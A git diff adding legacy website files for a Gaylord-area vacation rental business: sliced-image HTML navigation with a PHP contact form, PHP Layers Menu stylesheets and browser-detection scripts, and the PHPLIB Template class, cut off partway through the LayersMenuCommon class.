+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Map-Of-The-Area-copy.gif" WIDTH=100 HEIGHT=14 BORDER=0 ALT=""></a></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=8>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_34.gif" WIDTH=100 HEIGHT=10 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Contact-Us-c.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Contact-Us-c.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Contact-Us-c.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://contact.pineconevacations.com/">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Contact-Us-copy.gif" WIDTH=65 HEIGHT=12 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=5 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_36.gif" WIDTH=35 HEIGHT=25 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_37.gif" WIDTH=65 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Real-Estate-.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Real-Estate-.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Real-Estate-.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://www.pineconevacations.com/realestate.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Real-Estate-For-Sale-.gif" WIDTH=115 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=2 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_39.gif" WIDTH=27 HEIGHT=50 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_40.gif" WIDTH=115 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Home-Page-co.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Home-Page-co.gif', 'oct09_Home_Page_copy', 'http://www.pineconevacations.com/images/oct09_Home-Page-copy-over.gif'); 
+return true;" ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 
+'oct09_Home_Page_copy', 'http://www.pineconevacations.com/images/oct09_Home-Page-copy.gif'); return true;" href="http://www.pineconevacations.com/index.html">
+                               <IMG NAME="oct09_Home_Page_copy" SRC="http://www.pineconevacations.com/images/oct09_Home-Page-copy.gif" WIDTH=65 HEIGHT=13 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=8 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_42.gif" WIDTH=51 HEIGHT=24 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=3>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_43.gif" WIDTH=65 HEIGHT=11 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=26 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=63 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=23 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=9 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=1 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=11 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=4 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=20 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=7 HEIGHT=1 ALT=""></TD>
+               <TD>
+                       <IMG SRC="http://www.pineconevacations.com/images/spacer.gif" WIDTH=10 HEIGHT=1 ALT=""></TD>
+       </TR>
+</TABLE>
+<!-- End ImageReady Slices -->
+
+
+
+</td>
+                                       <td valign="top">
+                                       
+                                               <div id="contact">
+       <?php
+    if ($glmPage == 'golf') {
+        echo '<style>
+            #nav-table {display:none;}
+            </style>';
+        include_once 'letstalkgolf.html';
+    } else {
+           echo '<h2>Contact Us</h2>';
+               include_once "classes/class_contact_form.inc";
+               $contact = new contact_form();
+    }
+       ?>
+       </div>
+                                       
+
+                          </td>
+                               </tr>
+                       </table>
+               </div>
+
+               </TD>
+    </TR>
+  </TABLE>
+  </CENTER>
+</DIV>
+<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 ONLOAD="preloadImages();">
+
+       <p align="center"><FONT size="2">Copyright © 2006 
+                                                       Pine Cone Accommodations All rights reserved.&nbsp;For any questions or comments 
+                                                       email us at 
+       <A href="mailto:Rentals@PineConeVacations.com" style="color: #FFFFFF; text-decoration: none">
+                          <font color="#472311">Rentals@PineConeVacations.com</font></A></FONT></p>
+
+       <p align="left"><font size="1" color="#472311" face="Arial">
+       <a style="color: #472311; text-decoration: none" target="_blank" href="http://www.creativewebscapes.com">
+       Site Designed &amp; Maintained By: Creative Webscapes, Inc.</a></font></p>
+
+       <div class="Section1">
+               <p class="MsoNormal"><font face="Arial" size="2" color="#E5D3C1">
+               <span style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">Rentals, Gaylord area, 
+               Homes, Cabins &amp; Condo\92s, cottages, golf, snowmobiles, snowshoe, 
+               cross-country skiing,&nbsp; Gaylord Golf Mecca, Vacation Up North, Resort 
+               Area</span></font></div>
+
+</BODY>
+
+</HTML>
diff --git a/layersmenu-demo.css b/layersmenu-demo.css
new file mode 100755 (executable)
index 0000000..c261fe1
--- /dev/null
@@ -0,0 +1,56 @@
+body   {
+       color: #000000;
+/*     background-color: #eeeeff; */
+       background-color: #f1eee9;
+       margin: 0;
+       padding: 0;
+}
+
+.normal {
+       font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif;
+       font-size: 13px;
+       color: #000000;
+}
+
+.normalbox      {
+       border: 1px solid #440000;
+       margin: 3px;
+       padding: 5px;
+       background-color: #ffffff;
+}
+
+.h1    {
+       text-align: center;
+       font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif;
+       font-size: 22px;
+       font-weight: bold;
+       color: #880000;
+}
+
+.titlebox       {
+       border: 1px solid #440000;
+       margin: 0px;
+       padding: 0px;
+       background-color: #fefaf1;
+}
+
+a:link {
+       text-decoration: none;
+       color: #003300;
+}
+
+a:visited      {
+       text-decoration: none;
+       color: #726461;
+}
+
+a:hover        {
+       text-decoration: none;
+       color: #841212;
+       background-color: #fff0c0;
+}
+
+a:active       {
+       text-decoration: none;
+       color: #ff0000;
+}
diff --git a/layersmenu-gtk2.css b/layersmenu-gtk2.css
new file mode 100755 (executable)
index 0000000..b45ea5e
--- /dev/null
@@ -0,0 +1,110 @@
+.horbar        {
+       color: black;
+       background-color: #dcdad5;
+       border: 2px outset #cecac1;
+}
+
+.horbaritem    {
+       float: left;
+       white-space: nowrap;
+       font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif;
+       font-size: 13px;
+}
+
+.horbaritem a  {
+       display: block;
+       text-decoration: none;
+}
+
+.horbaritem a:link     {
+       color: #000000;
+       text-decoration: none;
+}
+
+.horbaritem a:visited  {
+       color: #000000;
+       text-decoration: none;
+}
+
+.horbaritem a:hover    {
+       color: #ffffff;
+       background-color: #4b6983;
+       text-decoration: none;
+}
+
+.horbaritem a:active   {
+       color: #ff0000;
+       text-decoration: none;
+}
+
+.verbar        {
+       color: black;
+       background-color: #dcdad5;
+       border: 2px outset #cecac1;
+}
+
+.submenu       {
+       position: absolute;
+       left: 0;
+       top: 0;
+       visibility: hidden;
+}
+
+.subframe      {
+       position: relative;
+       display: block;
+       background-color: #dcdad5;
+       border: 2px outset #cecac1;
+}
+
+.item  {
+       text-align: left;
+       white-space: nowrap;
+       font-family: bitstream vera sans, luxi sans, verdana, geneva, arial, helvetica, sans-serif;
+       font-size: 13px;
+}
+
+.item a        {
+       position: relative;
+       display: block;
+       text-decoration: none;
+}
+
+.item a:link   {
+       color: #000000;
+       text-decoration: none;
+}
+
+.item a:visited        {
+       color: #000000;
+       text-decoration: none;
+}
+
+.item a:hover  {
+       color: #ffffff;
+       background-color: #4b6983;
+       text-decoration: none;
+}
+
+.item a:active {
+       color: #ff0000;
+       text-decoration: none;
+}
+
+.item .fwdarr  {
+       position: absolute;
+       top: 5px;
+/*     right: 4px; */
+       right: 7px;
+}
+
+.separator     {
+       background-color: #ff0000;
+       border-top: 1px solid #9e9a91;
+       border-bottom: 1px solid #ffffff;
+       margin: 2px 0px 2px 1px;        /* top right bottom left */
+       height: 0;
+       font-size: 1px;
+       line-height: 0;
+}
+
diff --git a/letstalkgolf1.swf b/letstalkgolf1.swf
new file mode 100755 (executable)
index 0000000..f4991fd
Binary files /dev/null and b/letstalkgolf1.swf differ
diff --git a/lib/PHPLIB.php b/lib/PHPLIB.php
new file mode 100755 (executable)
index 0000000..c2bb3e2
--- /dev/null
@@ -0,0 +1,567 @@
+<?php
+// vim: set expandtab tabstop=4 shiftwidth=4:
+// This code that was derived from the original PHPLIB Template class
+// is copyright by Kristian Koehntopp, NetUSE AG and was released
+// under the LGPL.
+//
+// Authors: Kristian Koehntopp <kris@koehntopp.de> (original from PHPLIB)
+//          Bjoern Schotte <bjoern@rent-a-phpwizard.de> (PEARification)                
+//          Martin Jansen <mj@php.net> (PEAR conformance)            
+//
+// $Id: PHPLIB.php,v 1.1.1.1 2009/12/18 17:47:02 matrix Exp $
+//
+
+//require_once "PEAR.php";
+
+/**
+ * Converted PHPLIB Template class
+ *
+ * For those who want to use PHPLIB's fine template class,
+ * here's a PEAR conforming class with the original PHPLIB
+ * template code from phplib-stable CVS. Original author
+ * was Kristian Koehntopp <kris@koehntopp.de>
+ *
+ * @author  Bjoern Schotte <bjoern@rent-a-phpwizard.de>
+ * @author  Martin Jansen <mj@php.net> (PEAR conformance)
+ * @version 1.0
+ */
+class Template_PHPLIB
+{
+    /**
+     * If set, echo assignments
+     * @var bool
+     */
+    var $debug     = false;
+
+    /**
+     * $file[handle] = "filename";
+     * @var array
+     */
+    var $file  = array();
+
+    /**
+     * fallback paths that should be defined in a child class
+     * @var array
+     */
+    var $file_fallbacks = array();
+
+    /**
+     * Relative filenames are relative to this pathname
+     * @var string
+     */
+    var $root   = "";
+
+    /*
+     * $_varKeys[key] = "key"
+     * @var array
+     */
+    var $_varKeys = array();
+    
+    /**
+     * $_varVals[key] = "value";
+     * @var array
+     */
+    var $_varVals = array();
+
+    /**
+     * "remove"  => remove undefined variables
+     * "comment" => replace undefined variables with comments
+     * "keep"    => keep undefined variables
+     * @var string
+     */
+    var $unknowns = "remove";
+  
+    /**
+     * "yes" => halt, "report" => report error, continue, "no" => ignore error quietly
+     * @var string
+     */
+    var $haltOnError  = "report";
+  
+    /**
+     * The last error message is retained here
+     * @var string
+     * @see halt
+     */
+    var $_lastError     = "";
+
+
+    /**
+     * Constructor
+     *
+     * @access public
+     * @param  string template root directory
+     * @param  string how to handle unknown variables
+     * @param  array fallback paths
+     */
+    function Template_PHPLIB($root = ".", $unknowns = "remove", $fallback="")
+    {
+        $this->setRoot($root);
+        $this->setUnknowns($unknowns);
+        if (is_array($fallback)) $this->file_fallbacks = $fallback;
+    }
+
+    /**
+     * Sets the template directory
+     *
+     * @access public
+     * @param  string new template directory
+     * @return bool
+     */
+    function setRoot($root)
+    {
+        if (!is_dir($root)) {
+            $this->halt("setRoot: $root is not a directory.");
+            return false;
+        }
+    
+        $this->root = $root;
+    
+        return true;
+    }
+
+    /**
+     * What to do with unknown variables
+     *
+     * three possible values:
+     *
+     * - "remove" will remove unknown variables
+     *   (don't use this if you define CSS in your page)
+     * - "comment" will replace undefined variables with comments
+     * - "keep" will keep undefined variables as-is
+     *
+     * @access public
+     * @param  string unknowns
+     */
+    function setUnknowns($unknowns = "keep")
+    {
+        $this->unknowns = $unknowns;
+    }
+
+    /**
+     * Set appropriate template files
+     *
+     * With this method you set the template files you want to use.
+     * Either you supply an associative array with key/value pairs
+     * where the key is the handle for the filname and the value
+     * is the filename itself, or you define $handle as the file name
+     * handle and $filename as the filename if you want to define only
+     * one template.
+     *
+     * @access public
+     * @param  mixed handle for a filename or array with handle/name value pairs
+     * @param  string name of template file
+     * @return bool
+     */
+    function setFile($handle, $filename = "")
+    {
+        if (!is_array($handle)) {
+    
+            if ($filename == "") {
+                $this->halt("setFile: For handle $handle filename is empty.");
+                return false;
+            }
+      
+            $this->file[$handle] = $this->_filename($filename);
+      
+        } else {
+    
+            reset($handle);
+            while (list($h, $f) = each($handle)) {
+                $this->file[$h] = $this->_filename($f);
+            }
+        }
+    }
+
+    /**
+     * Set a block in the appropriate template handle
+     *
+     * By setting a block like that:
+     *
+     * &lt;!-- BEGIN blockname --&gt;
+     * html code
+     * &lt;!-- END blockname --&gt;
+     *
+     * you can easily do repeating HTML code, i.e. output
+     * database data nice formatted into a HTML table where
+     * each DB row is placed into a HTML table row which is
+     * defined in this block.
+     * It extracts the template $handle from $parent and places
+     * variable {$name} instead.
+     *
+     * @access public
+     * @param  string parent handle
+     * @param  string block name handle
+     * @param  string variable substitution name
+     */
+    function setBlock($parent, $handle, $name = "")
+    {
+        if (!$this->_loadFile($parent)) {
+            $this->halt("setBlock: unable to load $parent.");
+            return false;
+        }
+    
+        if ($name == "") {
+            $name = $handle;
+        }
+
+        $str = $this->getVar($parent);
+        $reg = "/[ \t]*<!--\s+BEGIN $handle\s+-->\s*?\n?(\s*.*?\n?)\s*<!--\s+END $handle\s+-->\s*?\n?/sm";
+        preg_match_all($reg, $str, $m);
+        $str = preg_replace($reg, "{" . "$name}", $str);
+
+        if (isset($m[1][0])) $this->setVar($handle, $m[1][0]);
+        $this->setVar($parent, $str);
+    }
+
+    /**
+     * Set corresponding substitutions for placeholders
+     *
+     * @access public
+     * @param  string name of a variable that is to be defined or an array of variables with value substitution as key/value pairs
+     * @param  string value of that variable
+     * @param  boolean if true, the value is appended to the variable's existing value
+     */
+    function setVar($varname, $value = "", $append = false)
+    {
+        if (!is_array($varname)) {
+
+            if (!empty($varname))
+                if ($this->debug) print "scalar: set *$varname* to *$value*<br>\n";
+
+            $this->_varKeys[$varname] = $this->_varname($varname);
+            ($append) ? $this->_varVals[$varname] .= $value : $this->_varVals[$varname] = $value;
+
+        } else {
+            reset($varname);
+
+            while (list($k, $v) = each($varname)) {
+                if (!empty($k))
+                    if ($this->debug) print "array: set *$k* to *$v*<br>\n";
+
+                $this->_varKeys[$k] = $this->_varname($k);
+                ($append) ? $this->_varVals[$k] .= $v : $this->_varVals[$k] = $v;
+            }
+        }
+    }
+
+    /**
+     * Substitute variables in handle $handle
+     *
+     * @access public
+     * @param  string name of handle
+     * @return mixed string substituted content of handle
+     */
+    function subst($handle)
+    {
+        if (!$this->_loadFile($handle)) {
+            $this->halt("subst: unable to load $handle.");
+            return false;
+        }
+
+        return @str_replace($this->_varKeys, $this->_varVals, $this->getVar($handle));
+    }
+  
+    /**
+     * Same as subst but printing the result
+     *
+     * @access  public
+     * @brother subst
+     * @param   string handle of template
+     * @return  bool always false
+     */
+    function pSubst($handle)
+    {
+        print $this->subst($handle);
+        return false;
+    }
+
+    /**
+     * Parse handle into target
+     *
+     * Parses handle $handle into $target, eventually
+     * appending handle at $target if $append is defined
+     * as TRUE.
+     *
+     * @access public
+     * @param  string target handle to parse into
+     * @param  string which handle should be parsed
+     * @param  boolean append it to $target or not?
+     * @return string parsed handle
+     */
+    function parse($target, $handle, $append = false)
+    {
+        if (!is_array($handle)) {
+            $str = $this->subst($handle);
+
+            ($append) ? $this->setVar($target, $this->getVar($target) . $str) : $this->setVar($target, $str);
+        } else {
+            reset($handle);
+
+            while (list(, $h) = each($handle)) {
+                $str = $this->subst($h);
+                $this->setVar($target, $str);
+            }
+        }
+
+        return $str;
+    }
+
+    /**
+     * Same as parse, but printing it.
+     *
+     * @access  public
+     * @brother parse
+     * @param   string target to parse into
+     * @param   string handle which should be parsed
+     * @param   should $handle be appended to $target?
+     * @return  bool
+     */
+    function pParse($target, $handle, $append = false)
+    {
+        print $this->finish($this->parse($target, $handle, $append));
+        return false;
+    }
+  
+    /**
+     * Return all defined variables and their values
+     *
+     * @access public
+     * @return array with all defined variables and their values
+     */
+    function getVars()
+    {
+        reset($this->_varKeys);
+
+        while (list($k, ) = each($this->_varKeys)) {
+            $result[$k] = $this->getVar($k);
+        }
+
+        return $result;
+    }
+
+    /**
+     * Return one or more specific variable(s) with their values.
+     *
+     * @access public    
+     * @param  mixed array with variable names or one variable name as a string
+     * @return mixed array of variable names with their values or value of one specific variable
+     */
+    function getVar($varname)
+    {
+        if (!is_array($varname)) {
+            if (isset($this->_varVals[$varname])) {
+                return $this->_varVals[$varname];
+            } else {
+                return "";
+            }
+        } else {
+            reset($varname);
+    
+            while (list($k, ) = each($varname)) {
+                $result[$k] = (isset($this->_varVals[$k])) ? $this->_varVals[$k] : "";
+            }
+
+            return $result;
+        }
+    }
+  
+    /**
+     * Get undefined values of a handle
+     *
+     * @access public
+     * @param  string handle name
+     * @return mixed  false if an error occured or the undefined values
+     */
+    function getUndefined($handle)
+    {
+        if (!$this->_loadFile($handle)) {
+            $this->halt("getUndefined: unable to load $handle.");
+            return false;
+        }
+    
+        preg_match_all("/{([^ \t\r\n}]+)}/", $this->getVar($handle), $m);
+        $m = $m[1];
+        if (!is_array($m)) {
+            return false;
+        }
+
+        reset($m);
+        while (list(, $v) = each($m)) {
+            if (!isset($this->_varKeys[$v])) {
+                $result[$v] = $v;
+            }
+        }
+    
+        if (isset($result) && count($result)) {
+            return $result;
+        } else {
+            return false;
+        }
+    }
+
+    /**
+     * Finish string
+     *
+     * @access public
+     * @param  string string to finish
+     * @return finished, i.e. substituted string
+     */
+    function finish($str)
+    {
+        switch ($this->unknowns) {
+            case "remove":
+                $str = preg_replace('/{[^ \t\r\n}]+}/', "", $str);
+                break;
+
+            case "comment":
+                $str = preg_replace('/{([^ \t\r\n}]+)}/', "<!-- Template $handle: Variable \\1 undefined -->", $str);
+                break;
+        }
+
+        return $str;
+    }
+
+    /**
+     * Print variable to the browser
+     *
+     * @access public
+     * @param  string name of variable to print
+     */
+    function p($varname)
+    {
+        print $this->finish($this->getVar($varname));
+    }
+
+    /**
+     * Get finished variable
+     *
+     * @access public public
+     * @param  string variable to get
+     * @return string string with finished variable
+     */
+    function get($varname)
+    {
+        return $this->finish($this->getVar($varname));
+    }
+
+    /**
+     * Complete filename
+     *
+     * Complete filename, i.e. testing it for slashes
+     *
+     * @access private
+     * @param  string filename to be completed
+     * @return string completed filename
+     */
+    function _filename($filename)
+    {
+//        if (substr($filename, 0, 1) != "/") {
+//            $filename = $this->root."/".$filename;
+//        }
+
+        if (file_exists($filename)) return $filename;
+        if (is_array($this->file_fallbacks) && count($this->file_fallbacks) > 0) {
+            reset($this->file_fallbacks);
+            while (list(,$v) = each($this->file_fallbacks)) {
+                if (file_exists($v.basename($filename))) return $v.basename($filename);
+            }
+            $this->halt(sprintf("filename: file %s does not exist in the fallback paths %s.",$filename,implode(",",$this->file_fallbacks)));
+            return false;
+        } else {
+            $this->halt(sprintf("filename: file %s does not exist.",$filename));
+            return false;
+        }
+
+        return $filename;
+    }
+
+    /**
+     * Protect a replacement variable
+     *
+     * @access private
+     * @param  string name of replacement variable
+     * @return string replaced variable
+     */
+    function _varname($varname)
+    {
+        return "{".$varname."}";
+    }
+
+    /**
+     * load file defined by handle if it is not loaded yet
+     *
+     * @access private
+     * @param  string handle
+     * @return bool   FALSE if error, true if all is ok
+     */
+    function _loadFile($handle)
+    {
+        if (isset($this->_varKeys[$handle]) and !empty($this->_varVals[$handle])) {
+            return true;
+        }
+
+        if (!isset($this->file[$handle])) {
+            $this->halt("loadfile: $handle is not a valid handle.");
+            return false;
+        }
+
+        $filename = $this->file[$handle];
+        if (function_exists("file_get_contents")) {
+            $str = file_get_contents($filename);
+        } else {
+            if (!$fp = @fopen($filename,"r")) {
+                $this->halt("loadfile: couldn't open $filename");
+                return false;
+            }
+
+            $str = fread($fp,filesize($filename));
+            fclose($fp);
+        }
+
+        if ($str=='') {
+            $this->halt("loadfile: While loading $handle, $filename does not exist or is empty.");
+            return false;
+        }
+
+        $this->setVar($handle, $str);
+
+        return true;
+    }
+
+    /**
+     * Error function. Halt template system with message to show
+     *
+     * @access public
+     * @param  string message to show
+     * @return bool
+     */
+    function halt($msg)
+    {
+        $this->_lastError = $msg;
+
+        if ($this->haltOnError != "no") {
+//            return $this->haltMsg($msg);
+            $this->haltMsg($msg);
+        }
+
+        if ($this->haltOnError == "yes") {
+            die("<b>Halted.</b>");
+        }
+
+        return false;
+    }
+  
+    /**
+     * printf error message to show
+     *
+     * @access public
+     * @param  string message to show
+     * @return object PEAR error object
+     */
+    function haltMsg($msg)
+    {
+//        PEAR::raiseError(sprintf("<b>Template Error:</b> %s<br>\n", $msg));
+        printf("<b>Template Error:</b> %s<br>\n", $msg);
+    }
+}
+?>
diff --git a/lib/layersmenu-browser_detection.js b/lib/layersmenu-browser_detection.js
new file mode 100755 (executable)
index 0000000..8ed24a8
--- /dev/null
@@ -0,0 +1,17 @@
+// PHP Layers Menu 2.3.3 (C) 2001-2003 Marco Pratesi (marco at telug dot it)
+
+DOM = (document.getElementById) ? 1 : 0;
+NS4 = (document.layers) ? 1 : 0;
+// We need to explicitly detect Konqueror
+// because Konqueror 3 sets IE = 1 ... AAAAAAAAAARGHHH!!!
+Konqueror = (navigator.userAgent.indexOf("Konqueror") > -1) ? 1 : 0;
+// We need to detect Konqueror 2.1 and 2.2 as they do not handle the window.onresize event
+Konqueror21 = (navigator.userAgent.indexOf("Konqueror 2.1") > -1 || navigator.userAgent.indexOf("Konqueror/2.1") > -1) ? 1 : 0;
+Konqueror22 = (navigator.userAgent.indexOf("Konqueror 2.2") > -1 || navigator.userAgent.indexOf("Konqueror/2.2") > -1) ? 1 : 0;
+Konqueror2 = Konqueror21 || Konqueror22;
+Opera = (navigator.userAgent.indexOf("Opera") > -1) ? 1 : 0;
+Opera5 = (navigator.userAgent.indexOf("Opera 5") > -1 || navigator.userAgent.indexOf("Opera/5") > -1) ? 1 : 0;
+Opera6 = (navigator.userAgent.indexOf("Opera 6") > -1 || navigator.userAgent.indexOf("Opera/6") > -1) ? 1 : 0;
+Opera56 = Opera5 || Opera6;
+IE = (document.all) ? 1 : 0;
+IE4 = IE && !DOM;
diff --git a/lib/layersmenu-browser_detection.php b/lib/layersmenu-browser_detection.php
new file mode 100755 (executable)
index 0000000..e351fc5
--- /dev/null
@@ -0,0 +1,80 @@
+<?php
+
+function inAgent($string)
+{
+       if (isset($_SERVER['HTTP_USER_AGENT'])) {
+               $http_user_agent = $_SERVER['HTTP_USER_AGENT'];
+       } else {
+               $http_user_agent = '';
+       }
+       return !(strpos($http_user_agent, $string) === false);
+}
+
+if (inAgent('Gecko')) {
+       $browser = 'Mozilla';
+} elseif (
+       inAgent('Lynx') || inAgent('lynx')
+       || inAgent('Links') || inAgent('links')
+       || inAgent('w3m')
+       ) {
+       $browser = 'TEXT';
+// I detect Konqueror and Opera before than the others,
+// as they often qualify themselves as Mozilla/Netscape/MSIE
+} elseif (inAgent('Konqueror')) {
+       if (inAgent('Konqueror 1') || inAgent('Konqueror/1')) {
+               $browser = 'Konqueror1';
+               // On KDE 1.1.2, kfm qualifies itself as "Konqueror/1.1.2"
+               // (tested on Red Hat Linux 6.2)
+       } elseif (inAgent('Konqueror 2.0') || inAgent('Konqueror/2.0')
+                 || inAgent('Konqueror 2;') || inAgent('Konqueror/2;')
+                 || inAgent('Konqueror 2)') || inAgent('Konqueror/2)')
+       ) {
+               $browser = 'Konqueror20';
+       } elseif (inAgent('Konqueror 2.1') || inAgent('Konqueror/2.1')) {
+               $browser = 'Konqueror21';
+       } else {
+               $browser = 'Konqueror';
+       }
+} elseif (inAgent('Opera')) {
+       if (inAgent('Opera 4') || inAgent('Opera/4')) {
+               $browser = 'Opera4';
+               // I hope that Opera 4 users can be satisfied by the Plain menu version;
+               // sorry, but I have never used Opera 4 and I do not have a copy of it
+               // to perform tests.  If you are using Opera < 4, it's your problem :-P
+       } elseif ((inAgent('Opera 6') || inAgent('Opera/6')) && inAgent('Linux')) {
+               $browser = 'Opera6forLinux';
+       } elseif (
+               inAgent('Opera 5') || inAgent('Opera/5')
+               || inAgent('Opera 6') || inAgent('Opera/6')
+       ) {
+               $browser = 'Opera56';
+       } else {
+               $browser = 'Opera';
+       }
+} elseif (inAgent('Safari')) {
+       $browser = 'Safari';
+} elseif (inAgent('MSIE 4') || inAgent('MSIE/4')) {
+       $browser = 'IE4';
+} elseif (inAgent('MSIE')) {
+       $browser = 'IE5';
+       // msie != 4 is handled like msie 5+; if you are using msie 3-, it's your problem :-P
+} elseif (inAgent('Mozilla 4') || inAgent('Mozilla/4')) {
+       $browser = 'NS4';
+} else {
+       $browser = 'Unknown';
+}
+
+if (
+       $browser == 'TEXT'
+       || $browser == 'Konqueror1' || $browser == 'Konqueror20' || $browser == 'Konqueror21'
+       // IMO, on Konqueror 2.1, the Plain version is more usable than the "OLD" one
+       || $browser == 'Opera4'
+) {
+       $menuType = 'PLAIN';
+} elseif ($browser == 'NS4' || $browser == 'Opera56' || $browser == 'IE4') {
+       $menuType = 'OLD';
+} else {
+       $menuType = 'DOM';
+}
+
+?>
diff --git a/lib/layersmenu-common.inc.php b/lib/layersmenu-common.inc.php
new file mode 100755 (executable)
index 0000000..8dde00f
--- /dev/null
@@ -0,0 +1,955 @@
+<?php
+// PHP Layers Menu 3.2.0-rc (C) 2001-2004 Marco Pratesi - http://www.marcopratesi.it/
+
+/**
+* This file contains the code of the LayersMenuCommon class.
+* @package PHPLayersMenu
+*/
+
+/**
+* This is the "common" class of the PHP Layers Menu library.
+*
+* You need to include PEAR.php and DB.php if (and only if) you want to use the DB support provided by ths class.
+*
+* @version 3.2.0-rc
+* @package PHPLayersMenu
+*/
+class LayersMenuCommon
+{
+
+/**
+* The name of the package
+* @access private
+* @var string
+*/
+var $_packageName;
+/**
+* The version of the package
+* @access private
+* @var string
+*/
+var $version;
+/**
+* The copyright of the package
+* @access private
+* @var string
+*/
+var $copyright;
+/**
+* The author of the package
+* @access private
+* @var string
+*/
+var $author;
+
+/**
+* URL to be prepended to the menu hrefs
+* @access private
+* @var string
+*/
+var $prependedUrl = '';
+/**
+* Do you want that code execution halts on error?
+* @access private
+* @var string
+*/
+var $haltOnError = 'yes';
+
+/**
+* The base directory where the package is installed
+* @access private
+* @var string
+*/
+var $dirroot;
+/**
+* The "libjs" directory of the package
+* @access private
+* @var string
+*/
+var $libjsdir;
+/**
+* The directory where images related to the menu can be found
+* @access private
+* @var string
+*/
+var $imgdir;
+/**
+* The http path corresponding to imgdir
+* @access private
+* @var string
+*/
+var $imgwww;
+/**
+* The directory where icons of menu items can be found
+* @access private
+* @var string
+*/
+var $icondir;
+/**
+* The http path corresponding to icondir
+* @access private
+* @var string
+*/
+var $iconwww;
+/**
+* This array may contain width and height of all icons
+* @access private
+* @var integer
+*/
+var $iconsize = array();
+/**
+* If this var is false, width and height of icons have to be detected; if this var is true, width and height of icons are not detected and are retrieved from the iconsize array
+* @access private
+* @var boolean
+*/
+var $issetIconsize = false;
+/**
+* The directory where templates can be found
+* @access private
+* @var string
+*/
+var $tpldir;
+/**
